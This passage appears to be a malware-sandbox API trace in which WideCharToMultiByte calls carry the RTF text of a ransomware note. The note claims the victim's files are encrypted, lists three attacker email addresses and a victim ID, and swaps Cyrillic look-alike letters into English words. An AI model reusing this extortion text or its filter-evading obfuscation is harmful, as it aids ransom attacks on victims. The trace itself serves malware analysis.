nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c5dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 